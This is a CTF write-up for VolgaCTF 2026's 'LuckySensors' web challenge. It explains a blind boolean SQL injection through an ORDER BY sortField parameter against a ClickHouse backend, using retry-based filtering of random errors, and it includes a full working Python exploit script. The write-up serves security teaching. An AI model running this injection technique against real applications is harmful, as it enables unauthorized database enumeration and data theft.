CUSTOMMediumWeb

LuckySensors

XESXOR9/10/20266 min read

#web#custom#medium#binary_search_character_extrac#case_when_boolean_oracle#clickhouse_system_tables_enume#order_by_blind_boolean_injecti#probabilistic_oracle#retry_based_noise_filtering

LuckySensors

Platform: volgactf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-28 | Status: Solved Techniques: binary_search_character_extraction, case_when_boolean_oracle, clickhouse_system_tables_enumeration, order_by_blind_boolean_injection, probabilistic_oracle, retry_based_noise_filtering

Summary

Task: Sensor monitoring dashboard (FastAPI/ClickHouse) with ORDER BY SQL injection in sortField parameter and random HTTP 500 errors (~50-90%). Solution: Blind boolean-based SQLi via CASE WHEN oracle in ORDER BY clause, retry-based noise filtering, ClickHouse system.tables enumeration to find hidden secret table, binary search character extraction of flag.

LuckySensors — VolgaCTF 2026

Description

"Good Luck!" — A web application called "SensorNet — Monitoring" with a sensor dashboard showing readings, stats, and maintenance logs.

A FastAPI/uvicorn web application serving a sensor monitoring dashboard. The app exposes several API endpoints for sensor data. The backend uses ClickHouse as its database. The core challenge mechanic is that ~50-90% of all requests randomly return HTTP 500 errors regardless of query validity, making automated exploitation extremely noisy and requiring statistical approaches. ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

Analysis

Endpoint Discovery

From /static/js/app.js, the following API endpoints were identified:

GET /api/sensors — list all sensors
GET /api/sensors/{id} — sensor details
GET /api/sensors/{id}/readings?sortField={field}&sortDirection={dir} — readings with sorting
GET /api/sensors/{id}/stats?parameter={param} — aggregated stats
GET /api/sensors/{id}/latest — latest readings
GET /api/maintenance — maintenance log

5 sensors visible (id 1-5), each with 3 readings. No flag in visible content. ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

SQL Injection Discovery

The sortField parameter in the readings endpoint is directly interpolated into an ORDER BY clause without parameterization. Testing sortField=(SELECT 1) confirmed subquery execution. The stats endpoint's parameter field is also injectable (WHERE clause injection with UNION).

The "Lucky" Factor

~50-90% of ALL requests randomly return HTTP 500 regardless of query validity. This is the core challenge mechanic (hence "Lucky" in the task name). The key insight for distinguishing real errors from noise: ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

A query that fails 100% of the time = real SQL error
A query that fails ~50-90% of the time = valid query + random noise

Every boolean check requires 20-30+ retries to get a reliable signal, with a threshold of 3-5 consistent results for confidence.

Database Identification

Using the blind oracle:

database()='default' → TRUE → ClickHouse (uses "default" as default database name)
currentDatabase() works → confirmed ClickHouse
system.tables accessible → confirmed ClickHouse
@@version works (MySQL-compatible layer in ClickHouse) ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

Solution

Step 1: Blind Boolean Oracle Construction

The ORDER BY CASE injection creates a reliable boolean oracle:

sortField=(CASE WHEN ({condition}) THEN value ELSE -value END)&sortDirection=ASC

Condition TRUE → sorts by value ASC → first row value = 0.998 (smallest positive value)
Condition FALSE → sorts by -value ASC → first row value = 1.021 (largest positive value, because -1.021 < -0.998)

The oracle function retries 25 times per check, requiring 4+ consistent results: ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

 python read-only • copy allowed
def check_condition(condition):
    sort_field = f"(CASE WHEN ({condition}) THEN value ELSE -value END)"
    true_count = 0
    false_count = 0
    for i in range(25):
        result = make_request(sort_field)
        if result is None:
            continue
        if isinstance(result, list) and len(result) > 0:
            first_val = result[0].get("value", 0)
            if abs(first_val - 0.998) < 0.01:
                true_count += 1
            elif abs(first_val - 1.021) < 0.01:
                false_count += 1
            if true_count >= 4 and true_count > false_count * 3:
                return True
            if false_count >= 4 and false_count > true_count * 3:
                return False
    if true_count > false_count and true_count >= 2:
        return True
    elif false_count > true_count and false_count >= 2:
        return False
    return None

‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

Step 2: Table Enumeration

Queried system.tables WHERE database='default' using blind extraction:

 python read-only • copy allowed
for offset in range(5):
    query = f"SELECT name FROM system.tables WHERE database='default' ORDER BY name LIMIT 1 OFFSET {offset}"
    name = extract_string(query)

Found 5 tables:

maintenance_logs
readings
secret_bK9mRx7p — randomized secret table name!
sensors
(5th table not needed)

Step 3: Secret Table Structure

Queried system.columns WHERE table='secret_bK9mRx7p':

2 columns: id and data
1 row in the table ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

Step 4: Flag Extraction

Binary search extraction of each character:

 python read-only • copy allowed
def extract_char(query, position):
    low, high = 32, 126
    while low < high:
        mid = (low + high) // 2
        cond = f"toUInt8(substring(({query}), {position}, 1)) > {mid}"
        if check_condition(cond):
            low = mid + 1
        else:
            high = mid
    return chr(low)

Verified prefix: startsWith(data, 'VolgaCTF{') → TRUE
Determined length: 34 characters
Skipped first 9 known chars (VolgaCTF{), extracted positions 10-34
Each character requires ~7 binary search steps × 25 retries = ~175 requests per character ‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

Full Exploit Script

 python read-only • copy allowed
#!/usr/bin/env python3
"""
LuckySensors - VolgaCTF 2026
ClickHouse Blind Boolean SQLi via ORDER BY injection
~50-90% random errors ("lucky" factor) - need retries
"""

import requests
import sys

BASE_URL = "http://lucky-sensor-1.q.2026.volgactf.ru:8000"
SENSOR_ID = 3
RETRIES = 25
REQUIRED_CONSISTENT = 4

session = requests.Session()


def make_request(sort_field, sort_direction="ASC"):
    url = f"{BASE_URL}/api/sensors/{SENSOR_ID}/readings"
    params = {"sortField": sort_field, "sortDirection": sort_direction}
    try:
        r = session.get(url, params=params, timeout=10)
        if r.status_code == 200:
            return r.json()
        return None
    except Exception:
        return None
‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍


def check_condition(condition):
    """TRUE -> first row 0.998, FALSE -> first row 1.021"""
    sort_field = f"(CASE WHEN ({condition}) THEN value ELSE -value END)"
    true_count = 0
    false_count = 0
    for i in range(RETRIES):
        result = make_request(sort_field)
        if result is None:
            continue
        if isinstance(result, list) and len(result) > 0:
            first_val = result[0].get("value", 0)
            if abs(first_val - 0.998) < 0.01:
                true_count += 1
            elif abs(first_val - 1.021) < 0.01:
                false_count += 1
            if true_count >= REQUIRED_CONSISTENT and true_count > false_count * 3:
                return True
            if false_count >= REQUIRED_CONSISTENT and false_count > true_count * 3:
                return False
    if true_count > false_count and true_count >= 2:
        return True
    elif false_count > true_count and false_count >= 2:
        return False
    return None
‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍


def extract_length(query, max_len=200):
    low, high = 0, max_len
    while low < high:
        mid = (low + high) // 2
        if check_condition(f"length(({query})) > {mid}"):
            low = mid + 1
        else:
            high = mid
    return low


def extract_char(query, position):
    low, high = 32, 126
    while low < high:
        mid = (low + high) // 2
        if check_condition(f"toUInt8(substring(({query}), {position}, 1)) > {mid}"):
            low = mid + 1
        else:
            high = mid
    return chr(low) if low > 32 else "?"
‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍


def extract_string(query, known_prefix="", max_length=None):
    if max_length is None:
        max_length = extract_length(query)
        print(f"[+] String length: {max_length}")
    result = known_prefix
    for i in range(len(known_prefix) + 1, max_length + 1):
        char = extract_char(query, i)
        result += char
        print(f"[+] Pos {i}: '{char}' -> {result}")
        sys.stdout.flush()
    return result


def extract_flag():
    print("=" * 60)
    print("LuckySensors - VolgaCTF 2026 - Blind SQLi Exploit")
    print("=" * 60)
‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍

    # Step 1: Enumerate tables
    print("\n[*] Enumerating tables...")
    for offset in range(5):
        query = f"SELECT name FROM system.tables WHERE database='default' ORDER BY name LIMIT 1 OFFSET {offset}"
        name = extract_string(query)
        print(f"  Table {offset}: '{name}'")

    # Step 2: Extract flag from secret table
    query = "SELECT data FROM secret_bK9mRx7p ORDER BY id LIMIT 1"
    data_len = extract_length(query, max_len=100)
    print(f"\n[+] Flag length: {data_len}")

    flag = extract_string(query, known_prefix="VolgaCTF{", max_length=data_len)
    print(f"\n{'=' * 60}")
    print(f"[+] FLAG: {flag}")
    print(f"{'=' * 60}")
‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍


if __name__ == "__main__":
    extract_flag()

‍‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‍